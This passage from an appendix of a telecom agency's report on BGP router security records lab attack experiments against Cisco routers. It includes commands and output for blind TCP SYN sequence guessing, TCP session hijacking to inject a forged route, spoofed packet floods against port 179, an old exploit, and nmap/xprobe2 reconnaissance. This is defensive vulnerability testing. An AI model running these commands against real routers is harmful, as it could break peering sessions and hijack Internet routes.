Packet sniffing was used to verify that attack packets had been sent to the router with the
correct IP and port numbers and with sequence numbers within the window. It was
consequently unclear as to why this attack failed. A corresponding attack was successful when
it was directed at an SSH session between two Linus machines. One possibility could be that
Cisco's implementation of the protocol stack contains some form of protection against guessing
with RST packets. It is also worth noting that [30] also failed to replicate this attack.
Corresponding tests with SYN packets were subsequently conducted.
Stimuli: Sequence number guessing across the entire possible spectrum:
Result:
ttt --src 10.0.0.3 --dst 10.0.0.1 --sport 11001 --dport 179 -count 430000 --syn --window 10000 --sequence 0^ --delay 1000
BGP status was verified on the router (show ip route).
C2600>sh ip route
Codes: C - connected, S - static, I - IGRP, R - RIP, M mobile, B - BGP
D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF
inter area
N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external
type 2
E1 - OSPF external type 1, E2 - OSPF external type 2, E
- EGP
i - IS-IS, L1 - IS-IS level-1, L2 - IS-IS level-2, ia IS-IS inter area
* - candidate default, U - per-user static route, o ODR
P - periodic downloaded static route
Gateway of last resort is not set
C
C
S
PREFIX1/24 is directly connected, FastEthernet0/0
10.0.0.0/24 is subnetted, 2 subnets
10.0.0.0 is directly connected, FastEthernet0/1
10.0.1.0 is directly connected, FastEthernet0/1
The peering connection was broken.
In contrast to the attempt with RST packets, guessing with SYN packets can actually break the
connection. If the protocol stack actually implements protection against guessing with RST
packets, then this protection does not apply to SYN packets. In practice, this means that it is
National Post and Telecom Agency
67
Contents - APPENDIX 3
possible to carry out an attack, but not if the RST flag is set, which is the variant that is
discussed the most. FIN packets are another possibility although they have not been tested.
TCP port numbers also have to be guessed when conducting completely blind guessing, where
only the IP addresses are known. The destination port is known (179/tcp), but the side that
established the connection is not known. The source port must be guessed. However, many
implementations do not choose this at random, so the number of guesses can be drastically
reduced if the attacker successfully identifies the OS version. A table showing some OS
versions and their choice of TCP source ports was provided in [26]. These include:
OS
Start port
Increment
IOS 12.2(8)
11000
1
IOS 12.1(5)
48642
512
IOS 12.0(7)
23106
512
IOS 12.0(8)
11778
512
We assume that IOS 11.2 also knows that the start port is 11000 and that the increment is 1.
Here we can hazard a guess based on the results of Section 2.1.1.2 that the one side (C2500)
runs IOS 11.2 and the other side (C2600) runs IOS 12 (unknown which minor version).
A script using ttt was designed to automate a completely blind guessing procedure. Example:
[root@agena own]# perl tcp_dos_peering.pl -sv 11.2 -dv 12 -b 1000000
10.0.0.3 10.0.0.1
TCP src port guessing included for IOS 11.2 on source side
TCP src port guessing included for IOS 12.0(7) on destination side
TCP src port guessing included for IOS 12.0(8) on destination side
TCP src port guessing included for IOS 12.1(5) on destination side
TCP src port guessing included for IOS 12.2(8) on destination side
Inter-packet delay: 1000000 dummy iterations
client on src side (IOS 11.2): IP 10.0.0.3 -> 10.0.0.1, src
port=11000, start seq#=0
ttt --src 10.0.0.3 --dst 10.0.0.1 --sport 11000 --dport 179 --count
429497 --syn --window 10000 --sequence 0^ --busyloopdelay 1000000
Here, an assumed IOS version is stated for each side of the connection (corresponding to the IP
addresses given, reported as src IP and dest IP). IOS 12 is a rough guess that results in several
possibilities.
The tool then iterates several different alternatives as follows:
For each choice of TCP destination port on the side {'src side', 'dest
side'}
Let Y be the number of guessed OS versions on the side
opposite x
For each OS version y ∈ Y
Guess all possible sequence numbers by means of ttt
68
National Post and Telecom Agency
- APPENDIX 3
However, a relatively high traffic rate is needed to do this efficiently, as we have to guess
many different port numbers as well as the sequence numbers for each possibility. The rate is
very limited in the experimental network, as it was shown that the recipient router began to
drop packets relatively early on. Approximately 100 000 packets per second can be generated
from the attack laptop using a tool such as ttt (coded in C). ([26] mentioned packet rates of
around 60 000 packets per second.) When guessing was directed at the Cisco 2600, it began to
drop packets at rates over 800 packets per second. This makes it relatively impractical to
experiment with completely blind guessing in the small test network, as the guessing time
easily reaches a magnitude of around 24 hours.
It should also be borne in mind that [31] states that Cisco has resolved this problem by making
a small change to how the RST segment is dealt with as proposed by [32] (they actually refer
to the 2001 version of this document).
2.1.3.2 Hijacking a peering connection to inject a BGP update
In order to inject a route by stealing a TCP session, we first simplify the attack by assuming
that the attacker can monitor traffic on the peering connection between the routers. We also
assume that MD5 protection is not being used on the connection.
A false update message for advertising the prefix 10.0.4.0/24 was generated using bgpupdate-create:
./bgp-update-create --as 3 --nexthop 10.0.0.3 --destnet 10.0.4.0/24 >
upd.bin
Stimuli:
The update message was injected into the peering session using tcphijack:
[root@agena inject_test]# ./tcphijack -c 10.0.0.3 -s
10.0.0.1 -p 179 -P upd.bin -d 500
tcphijack: listening on eth0.
pcap expression is 'host 10.0.0.3 and 10.0.0.1 and tcp
port 179'.
Press Control-C once for status, twice to exit.
We're sync'ed to the TCP conversation. Ready to send
payload... done!
Payload has been sent. Prepare for network meltdown due
to an ACK storm.
Measurement
results:
BGP status (existence of the falsified route) is verified on the router (show
ip route):
C2600>sh ip route
Codes: C - connected, S - static, I - IGRP, R - RIP, M mobile, B - BGP
D - EIGRP, EX - EIGRP external, O - OSPF, IA OSPF inter area
N1 - OSPF NSSA external type 1, N2 - OSPF NSSA
external type 2
E1 - OSPF external type 1, E2 - OSPF external type
2, E - EGP
i - IS-IS, L1 - IS-IS level-1, L2 - IS-IS level-2,
ia - IS-IS inter area
* - candidate default, U - per-user static route,
o - ODR
P - periodic downloaded static route
Gateway of last resort is not set
C
PREFIX1/24 is directly connected, FastEthernet0/0
10.0.0.0/24 is subnetted, 4 subnets
National Post and Telecom Agency
69
Contents - APPENDIX 3
B
C
S
B
10.0.3.0
10.0.0.0
10.0.1.0
10.0.4.0
[20/0] via 10.0.0.3, 00:34:19
is directly connected, FastEthernet0/1
is directly connected, FastEthernet0/1
[20/0] via 10.0.0.3, 00:00:14
The result shows that the route injection was successful. However, this injection generated an
'ACK storm' when the parties tried to resynchronise the sequence numbers. After a couple of
minutes, this resulted in the peering session being pulled down (probably due to the fact that
the next KEEPALIVE message was not received correctly). When the peering session is reestablished, which takes place after a small delay, the known routes are exchanged again and
the injected route is then not included. If an attacker is to successfully install one (or more)
routes in this way and keep these in the system for some time, the original counterparty must
be silenced and the peering session taken over and maintained. If the attacker is located in the
local network, this may be achieved using an ARP-based attack against the counterparty, so
that the peering session is stolen and is maintained for a certain period of time.
However, it is much more difficult for a blind attacker to inject route information. It is not
sufficient to guess the sequence number within the TCP window in this case, as in Section
2.1.3.1, since in practice the exact sequence number has to be guessed. Some experiments were
conducted in accordance with the same principle as earlier (imperfect guessing within the
window), but without results. The injected information has probably never reached the
application layer of the stack, as TCP waits for segments that appear to be missing between the
injected information and the information previously received. If the sequence numbers for the
ongoing session with its KEEPALIVE messages eventually 'catch up', it would theoretically be
possible that this would release the injected segment to be passed on. However, even in this
case the sequence numbers must fit exactly and it is unclear what would happen if this were not
the case. The conclusion is that a successful blind injection of route information in a TCP
connection appears highly unlikely.
2.1.4 Traffic through slowpath
An experiment to determine whether there are types of traffic that are compelled to use
slowpath and could thus be used for a DoS attack on a router. Possibilities:
2.1.4.1 Scanning traffic with high intensity against many different
destination addresses
[19] describes that during the dissemination of the Code Red v2 worm, certain routes
experienced problems with CPU loading or memory loading and crashed (rebooted). The effect
of the worm on the routers was connected to the spread of traffic to many different destination
addresses. Under certain circumstances, this can result in a persistently high CPU loading at
the interrupt level. If CPU time cannot be allocated to processors that, for example, deal with
memory management, this may eventually result in the router reloading.
Stimuli:
100M packets sent through the Cisco 2600 to an individual destination
during a period of approximately 17 minutes:
./sendip -n 100000000 -p ipv4 -is 192.168.234.61 -p tcp tfs 0 10.0.0.5
Measurement
results:
The traffic load blocks the router for as long as this continues. However, this
does not appear to cause the BGP session any problems and it is still running
when the traffic flow has come to an end.
The same traffic was also tested against the Cisco 2500 with the same result.
2.1.4.2 Traffic with IP options activated
70
National Post and Telecom Agency
- APPENDIX 3
Since the results in Section 2.1.4.1 indicate that the small routers in the test network do not
make a clear distinction between a fastpath and a slowpath, the experiments with IP options
were viewed to be less relevant for this equipment.
2.1.5 Loading within the verification level
Assumes that an attacker can in some way advertise/inject routes in the system, for example by
intrusion in the router or because there is potential for TCP hijacking.
2.1.5.1 Deaggregation
This attack is relatively simple to test, since the routers in test network A have a very limited
memory. We assume that an attacker can establish a peering session or can verify an existing
peering session.
Stimuli:
Result:
A peering session is established between the Cisco 2600 and the Zebra BGP router
on the attack machine, which is configured to deaggregate large quantities of
routes.
When the memory is full and the router cannot deal with any more updates, the
peering session is pulled down. It restarts after a small delay. The routes are sent
over the peering connection again, and the whole process is repeated.
Thus, this situation results in a state of permanent instability, which does not end until the
problem has been resolved manually.
The effects of memory limitations were also studied in, for example, [23].
2.1.6 Test of impact on performance as a result of security
mechanisms
Less relevant for lab network A.
2.1.7 Testing which/how great a proportion of AS use flap
damping
Not relevant for lab network A.
National Post and Telecom Agency
71
Contents - APPENDIX 3
2.2
Experiments in lab network B
Lab network B, illustrated in Figure 6, is actually a single router (Cisco 7500) that is run by an
operator for experiments. The hardware is not completely representative of the operating
network, but the operating system (IOS 12.0(30)S2) and the configuration are representative of
the operating network.
Labb-nät B
AS Y
Network B
AS X
Cisco 7500
IOS 12.0(30)S2
AS Z
peering
AS 65500
Cisco 2600
IOS 12.2(10b)
[Text for figure: Lab network B]
Figure 6. Lab network B: An experimental router run by an operator in a simulated AS X with
set peering connections to a number of other AS
Assumptions for the experiment:
• The attack experiments are conducted at a distance (several hops away from the target
router) and without the potential to monitor traffic on adjacent links
• Several peering connections are established for AS in other parts of the network, and
which cannot be monitored
• A new peering connection was also established for the experiment to test cases where
an attacker has control of an adjacent router
• The existing infrastructure ACLs were opened up for specific IP addresses and an
account was created on the router to verify the results of the experiment.
2.2.1 Initial reconnaissance
2.2.1.1 Vulnerability scanning
Initial scanning for potential vulnerabilities was conducted in the form of port scans. It should
be noted here that an attacker is unable to carry out even simple port scans if infrastructure
ACLs are in place.
72
National Post and Telecom Agency
- APPENDIX 3
Stimuli:
Result:
Stimuli:
Result:
TCP scan:
[root@agena pen-test]# nmap –p1-65535 R1_IP
Starting nmap 3.70 ( http://www.insecure.org/nmap/ ) at 200605-16 10:52 CEST
Interesting ports on R1 (R1_IP):
(The 65532 ports scanned but not shown below are in state:
closed)
PORT
STATE
SERVICE
22/tcp open
ssh
23/tcp open
telnet
135/tcp filtered msrpc
Nmap run completed – 1 IP address (1 host up) scanned in
457.203 seconds
UDP scan:
[root@agena mili]# nmap -sU –p1-20000 R1_IP
Starting nmap 3.70 ( http://www.insecure.org/nmap/ ) at 200605-17 23:25 CEST
Interesting ports on R1 (R1_IP):
(The 19984 ports scanned but not shown below are in state:
closed)
PORT
STATE
SERVICE
49/udp
open|filtered tacacs
123/udp open|filtered ntp
135/udp open|filtered msrpc
136/udp open|filtered profile
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
139/udp open|filtered netbios-ssn
161/udp open|filtered snmp
162/udp open|filtered snmptrap
646/udp open|filtered unknown
711/udp open|filtered unknown
1433/udp filtered
ms-sql-s
1434/udp filtered
ms-sql-m
1645/udp open|filtered radius
1646/udp open|filtered radacct
3503/udp open|filtered unknown
Nmap run completed -- 1 IP address (1 host up) scanned in
16140.530 seconds
A scan was subsequently carried out by means of Nessus. No known vulnerabilities were
reported.
National Post and Telecom Agency
73
Contents - APPENDIX 3
2.2.1.2 OS identification
Attempts were made to identify the OS version using nmap and xprobe2.
Stimuli:
Result:
With nmap:
[root@agena pen-test]# nmap -O R1_IP
Starting nmap 3.70 ( http://www.insecure.org/nmap/ ) at 2006-05-16 10:34
CEST
Insufficient responses for TCP sequencing (3), OS detection may be less
accurateInsufficient responses for TCP sequencing (3), OS detection may be
less accurateInteresting ports on R1 (R1_IP):
(The 1657 ports scanned but not shown below are in state: closed)
PORT
STATE
SERVICE
22/tcp open
ssh
23/tcp open
telnet
135/tcp filtered msrpc
No exact OS matches for host (If you know what OS is running on it, see
http://www.insecure.org/cgi-bin/nmap-submit.cgi).
TCP/IP fingerprint:
SInfo(V=3.70%P=i386-redhat-linux-gnu%D=5/16%Time=44698E99%O=22%C=1)
TSeq(Class=TR%IPID=Z%TS=U)
T1(Resp=Y%DF=N%W=10C0%ACK=S++%Flags=AS%Ops=ME)
T1(Resp=Y%DF=N%W=10C0%ACK=S++%Flags=AS%Ops=ME)
T2(Resp=N)
T2(Resp=N)
T3(Resp=Y%DF=N%W=10C0%ACK=S++%Flags=AS%Ops=M)
T3(Resp=Y%DF=N%W=10C0%ACK=S++%Flags=AS%Ops=M)
T4(Resp=Y%DF=N%W=0%ACK=O%Flags=R%Ops=)
T4(Resp=Y%DF=N%W=0%ACK=O%Flags=R%Ops=)
T5(Resp=Y%DF=N%W=0%ACK=S++%Flags=AR%Ops=)
T5(Resp=Y%DF=N%W=0%ACK=S++%Flags=AR%Ops=)
T6(Resp=Y%DF=N%W=0%ACK=O%Flags=R%Ops=)
T6(Resp=Y%DF=N%W=0%ACK=O%Flags=R%Ops=)
T7(Resp=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=)
T7(Resp=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=)
PU(Resp=Y%DF=N%TOS=0%IPLEN=38%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)
PU(Resp=Y%DF=N%TOS=0%IPLEN=38%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)
Nmap run completed -- 1 IP address (1 host up) scanned in 24.066 seconds
Nmap data for different OSs does not contain any information about this IOS version.
Stimuli:
Result:
74
With xprobe2:
[root@agena pen-test]# xprobe2 R1_IP
Xprobe2 v.0.3 Copyright (c) 2002-2005 fyodor@o0o.nu, ofir@syssecurity.com, meder@o0o.nu
[+] Target is R1_IP
[+] Loading modules.
[+] Following modules are loaded:
[x] [1] ping:icmp_ping - ICMP echo discovery module
[x] [2] ping:tcp_ping - TCP-based ping discovery module
[x] [3] ping:udp_ping - UDP-based ping discovery module
[x] [4] infogather:ttl_calc - TCP and UDP based TTL distance
calculation
[x] [5] infogather:portscan - TCP and UDP PortScanner
[x] [6] fingerprint:icmp_echo - ICMP Echo request
fingerprinting module
[x] [7] fingerprint:icmp_tstamp - ICMP Timestamp request
fingerprinting module[x] [8] fingerprint:icmp_amask - ICMP
National Post and Telecom Agency
- APPENDIX 3
Address mask request fingerprinting module
[x] [9] fingerprint:icmp_port_unreach - ICMP port
unreachable fingerprinting module
[x] [10] fingerprint:tcp_hshake - TCP Handshake
fingerprinting module
[x] [11] fingerprint:tcp_rst - TCP RST fingerprinting module
[x] [12] fingerprint:smb - SMB fingerprinting module
[x] [13] fingerprint:snmp - SNMPv2c fingerprinting module
[+] 13 modules registered
[+] Initializing scan engine
[+] Running scan engine
[-] ping:tcp_ping module: no closed/open TCP ports known on
R1_IP. Module test failed
[-] ping:udp_ping module: no closed/open UDP ports known on
R1_IP. Module test failed
[-] No distance calculation. R1_IP appears to be dead or no
ports known
[+] Host: R1_IP is up (Guess probability: 50%)
[+] Target: R1_IP is alive. Round-Trip Time: 0.02248 sec
[+] Selected safe Round-Trip Time value is: 0.04496 sec
[-] fingerprint:tcp_hshake Module execution aborted (no open
TCP ports known)
[-] fingerprint:smb need either TCP port 139 or 445 to run
[-] fingerprint:snmp: need UDP port 161 open
[+] Primary guess:
[+] Host R1_IP Running OS: "Cisco IOS 11.2" (Guess
probability: 100%)
[+] Other guesses:
[+] Host R1_IP Running OS: "Cisco IOS 11.1" (Guess
probability: 100%)
[+] Host R1_IP Running OS: "Cisco IOS 12.0" (Guess
probability: 100%)
[+] Host R1_IP Running OS: "Cisco IOS 12.2" (Guess
probability: 100%)
[+] Host R1_IP Running OS: "Cisco IOS 12.3" (Guess
probability: 100%)
[+] Host R1_IP Running OS: "Cisco IOS 11.3" (Guess
probability: 100%)
[+] Host R1_IP Running OS: "NetBSD 1.5" (Guess probability:
89%)
[+] Host R1_IP Running OS: "NetBSD 1.4.3" (Guess probability:
89%)
[+] Host R1_IP Running OS: "NetBSD 1.4.2" (Guess probability:
89%)
[+] Host R1_IP Running OS: "NetBSD 1.4.1" (Guess probability:
89%)
[+] Cleaning up scan engine
[+] Modules deinitialized
[+] Execution completed.
Xprobe2 provides a number of guesses, including correct 'major' and 'minor' versions.
However, as there are so many guesses, this does not help to identify the correct version. OS
identification can also be blocked by means of infrastructure ACLs.
2.2.1.3 Alias identification (alias resolution)
The peering sessions established for the router are multihop (as this is only for experimenting).
This means that it would be virtually impossible to identify the counterparty by means of
traceroutes. Consequently, the configuration is not of a type that is meaningful when
attempting to identify the counterparty through alias identification.
National Post and Telecom Agency
75
Contents - APPENDIX 3
2.2.2 DoS with crafted packets
2.2.2.1 Blocking NIC (Cisco-bug-44020)
As this vulnerability was rectified in IOS a long time ago, an attack is not expected to have any
effect.
Stimuli:
Result:
Existing exploit code in cisco-bug-44020 directed at an interface used by
peering session:
[root@agena cisco-bug-44020]# ./cisco-bug-44020 192.168.234.61
R1_IP X 1000
DEBUG: Protocol: 103
DEBUG: Checksum: 30646
DEBUG: 45 10 00 14 0d 15 40 00 02 67 b6 77 c0 a8 ea 3d 0a 00
00 01
DEBUG: Wrote 20 bytes.
...
Interface status was verified by sh interfaces:
FastEthernet1/0 is up, line protocol is up
Hardware is cyBus FastEthernet Interface, address is
0060.2f86.5920 (bia 0060.2f86.5920)
Description: GBG-LAN
Internet address is 195.67.231.44/25
MTU 1500 bytes, BW 100000 Kbit, DLY 100 usec, rely 255/255,
load 1/255
Encapsulation ARPA, loopback not set
Keepalive set (10 sec)
Half-duplex, 100Mb/s, 100BaseTX/FX
ARP type: ARPA, ARP Timeout 04:00:00
Last input 00:00:00, output 00:00:00, output hang never
Last clearing of "show interface" counters 12w5d
Input queue: 0/75/1421/85 (size/max/drops/flushes); Total
output drops: 0
Queueing strategy: fifo
Output queue: 0/40 (size/max)
…
This indicates that the attack did not have any effect.
2.2.2.2 Web server attack to block the router
This attack is irrelevant as the http server is deactivated on this router (Section 2.1.2.3).
2.2.2.3 Crafted MPLS packet
This vulnerability is irrelevant to this particular router model and OS version. It is also
impossible to test this attack as the experimental router is located many hops away in the
network.
2.2.3 Attacks on a TCP coupler
In order to effectively be able to implement attacks on a TCP coupler based on sequence
number guessing, it is very helpful if the attacker successfully delimits the likely source port
numbers (TCP source port), i.e. how the operating system chooses the source port when it
establishes a TCP connection (see Section 2.1.3.1). Here, we assume that the attacker can also
76
National Post and Telecom Agency
- APPENDIX 3
access such information for the IOS versions run in ISP networks. However, the experiments
showed a marked improvement in the random choice of source ports, for which reason it is
doubtful whether there is any information available that can be used for an attack.
2.2.3.1 DoS by means of TCP Reset and the like (RST, SYN or FIN)
Initially, experiments were conducted where the guessing rate was increased compared with
the attacks in Section 2.1.3.1. However, it was shown that this router, a Cisco 7500, also began
to drop packets on the 'receive path' when the packet rate exceeded approximately 1 000
packets per second. This means a considerable limitation in the guessing rate in relation to
what was previously speculated [26]. One consequence of this is that the guessing space for the
source port must be severely limited if the attack is to be practically feasible. This could be
done in [26] as the sequence of chosen source port numbers was easily predictable. In order to
verify the choice of source ports in newer IOS versions, the peering connection to the local
router was restarted a number of times and the traffic was sniffed. The sequence of source port
numbers that was observed for each new connection was: 48344, 38901, 28720, 13173, 22044.
Unlike before, there was accordingly no trivial pattern in the sequence.
An experiment was also conducted to check the possibility of carrying out an attack if the
source port number has become known in some way.
Stimuli: TCP SYN attack with a known source port number and guessed sequence number:
[root@anubis pts]# ./ttt --src R2_IP --dst R1_IP --sport 179 -dport 57628 --count 430000 --syn --window 10000 --sequence 0^
--delay 1
Result:
Verification of route advertised from the local router to the router being attacked:
R1>sh ip route | include 10.0
...
B
10.0.0.0/8 [20/0] via R2_IP, 00:01:26
This shows that the peering connection was unaffected by the attack.
Corresponding attacks using RST flags were also carried out, but these did not have any effect
either. In other words, it was not possible to carry out these attacks on newer IOS versions.
Since [26] was published, a number of security improvements have been implemented in IOS
TCP. These include a more random selection of source ports, but also more secure
management of RST and SYN flags as proposed by [32]. The latter improvement prevented
our attack, as we assumed that we knew the source port, but assumed that we were unable to
see the traffic in the peering connection. However, this did not prevent an attack from someone
who is able to sniff traffic on a peering connection so that it can respond with a correct packet
to the 'demand for confirmation' ('challenge/response') entailed by [32]. This latter case was not
tested.
2.2.3.2 Hijacking a peering connection to inject a BGP update
In Section 2.1.3.2, we stated that successfully taking over a TCP session appears to be
unrealistic if the attacker does not have a foothold in the local network so that he/she can
monitor traffic. Consequently, this type of attack is not particularly relevant to this test
scenario, where attacks are carried out at a distance.
2.2.4 Loading of input queue
Since the receipt of messages going to the route processor (the central CPU), the 'receive path',
takes place more slowly than the forwarding of messages, an attacker may potentially fill up
the input queue to the CPU in order to block the reception of routing messages. (However,
National Post and Telecom Agency
77
Contents - APPENDIX 3
several forms of protection are available, as mentioned in Section 1.4.1.) This type of attack
was tested on the peering session established between the Cisco 2600 and the Cisco 7500.
Stimuli:
Measurement
results:
Empty TCP segments were sent at a rapid rate to port 179/tcp on the Cisco
2600 by means of sendip:
[root@anubis pts]# ./sendip -n 10000000 -b 1000 -p ipv4 is ANY_IP -p tcp -ts 10000 -td 179 C2600_IP
Prior to the attack, the peering connection was verified using 'sh IP bgp
neighbors' and 'sh interfaces':
...
BGP neighbor is C7500_IP, remote AS X, external link
BGP version 4, remote router ID R1_ID
BGP state = Established, up for 00:04:0
...
FastEthernet0/0 is up, line protocol is up
Internet address is C2600_IP/24
Input queue: 0/75/0/0 (size/max/drops/flushes); Total
output drops: 0
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
During the attack it was observed that packets were dropped in the input
queue and that messages from peers were no longer being received every
minute:
Last read 00:02:26, hold time is 180, keepalive
interval is 60 seconds
This resulted in a broken connection after a few more minutes:
1d05h: %BGP-5-ADJCHANGE: neighbor C7500_IP Down BGP
Notification sent
Attack traffic was interrupted and the connection was reestablished
automatically after approximately one and a half minutes.
Testing an equivalent attack on the Cisco 7500 router proved to be more difficult, as it is
difficult to determine whether the connection is interrupted due to the loading of the router's
input queue or the uplink being overloaded before the traffic reaches the router. Consequently,
attack traffic was instead sent for a short period (approximately 20 seconds) at the time when
the next keepalive message should be sent.
Stimuli:
Measurement
results:
Empty TCP segments with falsified sender's IP to C2600 were sent at a rapid
rate to port 179/tcp on the Cisco 7500 by means of sendip:
[root@anubis pts]# ./sendip -n 10000000 -b 1000 -p ipv4 is C2600_IP -p tcp –ts 10000 -td 179 C7500_IP
Verifications with 'sh interfaces' indicate packets dropped in the input
queue. The latest keepalive message received was verified by 'sh IP bgp
neighbors':
BGP version 4, remote router ID C2600_IP
BGP state = Established, up for 00:06:37
Last read 00:01:25, last write 00:00:00, hold time is
180, keepalive interval is 60 seconds
…
This means that the keepalive message was blocked for approximately 25
seconds.
In other words, the result indicates that the peering session may also potentially be influenced
by an attack on the other side.
78
National Post and Telecom Agency
- APPENDIX 3
2.2.5 Traffic through slowpath
In order to assess whether it is possible for an attacker to find types of traffic directed by a
router via slowpath, a simple measurement of the CPU level of utilisation at the router is used
when different types of traffic are transmitted through it. An established base line is needed in
order to compare these verifications.
Stimuli:
In one experiment, normal TCP segments were sent through the router
by directing these at a router on the other side of the test router.
Approximately 50 seconds after measurements had started to be taken,
a TCP segment was sent through the router by means of sendip:
[root@dmlserver pts]# ./sendip -n 1 -p ipv4 -is
192.168.234.61 -p tcp -ts 10000 -td 10000 R2_IP
Measurement
results:
The router CPU was verified by logging in via ssh and polling the
level of utilisation using 'show proc cpu'. The total CPU utilisation
and the utilisation on the interrupt level for the past 5 seconds are
gathered from the response. The result is shown in Figure 7 below.
Figure 7. Router, test network B, load in base line
Besides an initial peak, which is probably due to crypto calculations
when logging in, it is indicated that the normal CPU loading has a
fairly low variance and the level of utilisation fluctuates between 0 and
approximately 5%. This measurement itself affects the CPU as of the
ssh log in and CLI command. However, this effect is limited as shown
by the results. Traffic sent through the router amounted to
approximately 300 packets per second as recorded by 'show
interfaces'.
National Post and Telecom Agency
79
Contents - APPENDIX 3
2.2.5.1 Traffic with IP options activated
These experiments aim to clarify how the router deals with traffic with IP options, specifically
if this traffic is sent through slowpath.
Stimuli:
Traffic with the record route option activated in the IP headers was sent through the
router:
[root@anubis pts]# ./sendip -n 500000 -s 1 -p ipv4 -is R3_IP iorr
04:00000000:00000000:00000000:00000000:00000000:00000000:0000000
0:00000000:00000000 -ioeol -p tcp -ts 10000 -td 10000 R2_IP
Measurement
results:
The received packet rate on the router interface:
R1>sh interf
...
30 second input rate 170000 bits/sec, 227 packets/sec
...
lies at approximately 250 packets per second (as for baseline).
The router CPU was verified by logging in via ssh and polling the level of utilisation
using 'show proc cpu'. Traffic started approximately 30 seconds after measurements
started. The result is shown in Figure 8 below.
Figure 8. Router, test network B, load through router with record route IP option
In other words, traffic with a record route IP option is directed via slowpath (the route
processor) and is not only dealt with locally on the line card.
80
National Post and Telecom Agency
- APPENDIX 3
Stimuli:
Measurement
results:
Traffic with the timestamp option activated in the IP header was sent
through the router:
[root@anubis pts]# ./sendip -n 500000 -s 1 -p ipv4 -is
R3_IP -iots
05:0:0:00000000:00000000:00000000:00000000:00000000:000
00000:00000000:00000000 -ioeol -p tcp -ts 10000 -td
10000 R2_IP
R1>sh interf
...
30 second input rate 177000 bits/sec, 244 packets/sec
...
Approximately 250 packets per second in this case as well (as for
baseline).
The router CPU was verified by logging in via ssh and polling the level of
utilisation using 'show proc cpu'. Traffic started approximately 30
seconds after measurements started. The result is shown in Figure 9
below.
Figure 9. Router, test network B, load through router with timestamp IP
option
In other words, traffic with a time stamp IP option is directed via slowpath
(the route processor) and is not only dealt with locally on the line card.
National Post and Telecom Agency
81
Contents - APPENDIX 3
Stimuli:
Traffic with the router alert option activated in the IP header was sent through the router:
Measurement
results:
[root@anubis pts]# ./sendip -n 500000 -s 1 -p ipv4 -is R3_IP -il
28 -ionum 940000 -p tcp R2_IP
R1>sh interf
...
30 second input rate 100000 bits/sec, 205 packets/sec
...
Approximately 250 packets per second (as for baseline) in this case as well.
The router CPU was verified by logging in via ssh and polling the level of utilisation
using 'show proc cpu'. Traffic started approximately 60 seconds after measurements
started. The result is shown in Figure 10 below.
Figure 10.
Router, test network B, load through router with timestamp IP option
In other words, traffic with a router alert IP option is directed via slowpath (the route
processor) and is not only dealt with locally on the line card.
2.2.6 Tests of impact on performance as a result of security
mechanisms
First, experiments were conducted when the MD5 protection was deactivated on the router.
Traffic consisting of empty TCP packets was sent to port 179/tcp to generate a base line for the
comparison.
Stimuli:
82
Traffic to the router's port 179/tcp:
National Post and Telecom Agency
- APPENDIX 3
[root@anubis pts]# ./sendip -n 1000000 -s 4000 -p ipv4 is C2600_IP -p tcp -ts 10000 -td 179 R1_IP
Measurement
results:
The router CPU was verified by logging in via ssh and polling the level of
utilisation using 'show proc cpu'. Traffic started approximately 30
seconds after measurements started. The result is shown in Figure 11 below.
Figure 11.
Router, test network B, load on port 179/tcp
The result shows load peaks approaching approximately 40% for a packet
rate of around 250 packets per second (according to 'sh interf').
A new measurement was carried out after the MD5 option was activated and the packet rate
was kept constant between measurements within a margin of error of approximately 10%.
First, traffic was sent with the MD5 TCP option activated the router's port 179/tcp to see if it
could induce significant CPU loading.
Stimuli:
Traffic with the TCP MD5 option activated was sent to the router's port
179/tcp:
[root@dmlserver pts]# ./sendip -n 20000 -s 1 -p ipv4 -is
192.168.0.103 -p tcp -ts 10000 -td 179 -tonum
13121111111111111111111111111111111100 R1_IP
Measurement
results:
The router CPU was verified by logging in via ssh and polling the level of
utilisation using 'show proc cpu'. Traffic started approximately 60
seconds after measurements started. The result is shown in Figure 12 below.
National Post and Telecom Agency
83
Contents - APPENDIX 3
Figure 12.
Router, test network B, load with MD5 option on port
179/tcp
The result indicates a higher CPU loading from traffic to port 179/tcp with
the MD5 option, as the MD5 option had been activated for peering
connections in the router.
In order to determine whether this is due to the MD5 protection being activated in the
configuration or because the MD5 option exists in the packets, TCP segments without this
option were also sent to the port.
Stimuli:
Normal TCP traffic was sent to the router's port 179/tcp:
[root@dmlserver pts]# ./sendip -n 20000 -s 1 -p ipv4 -is
192.168.0.103 -p tcp -ts 10000 -td 179 R1_IP
84
National Post and Telecom Agency
- APPENDIX 3
Measurement
results:
The router CPU was verified by logging in via ssh and polling the level of
utilisation using 'show proc cpu'. Traffic started approximately 50
seconds after measurements started. The result is shown in Figure 13 below.
Figure 13.
Router, test network B, load with normal traffic on port
179/tcp
The results do not indicate any obvious difference between cases where the
TCP packets contain an MD5 option field or where there is no such field.
2.3
Experiments in lab network C
Lab network C comprises approximately 15 Cisco routers together with a smaller number of
Procket routers. Several routers are physically spread out at exchange points and other peering
points. The network is primarily run by network operators for different types of experiment. A
Cisco 10720 router running IOS 12.0(27)S1 was chosen for these experiments.
Assumptions for the experiments:
• The attack experiments are conducted at a distance (several hops away from the target
router) and without the possibility of monitoring traffic on adjacent links
• Most of the peering connections are established for AS in other parts of the network,
which cannot be monitored
• An account was created on the router to verify the results of the experiments.
2.3.1 Initial reconnaissance
2.3.1.1 Vulnerability scanning
Initial scanning for potential vulnerabilities was conducted in the form of port scans.
Stimuli:
TCP scan:
[root@agena]# nmap -p1-65535 R1_IP
Result:
Starting nmap 3.70 ( http://www.insecure.org/nmap/ ) at 200608-23 10:12 CEST
Interesting ports on R1_IP:
(The 65526 ports scanned but not shown below are in state:
closed)
National Post and Telecom Agency
85
Contents - APPENDIX 3
PORT
STATE SERVICE
7/tcp
open echo
9/tcp
open discard
13/tcp
open daytime
19/tcp
open chargen
79/tcp
open finger
2001/tcp open dc
4001/tcp open unknown
6001/tcp open X11:1
9001/tcp open unknown
Nmap run completed -- 1 IP address (1 host up) scanned in
66.581 seconds
Stimuli:
UDP scan:
[root@agena]# nmap -sU -p1-20000 R1_IP
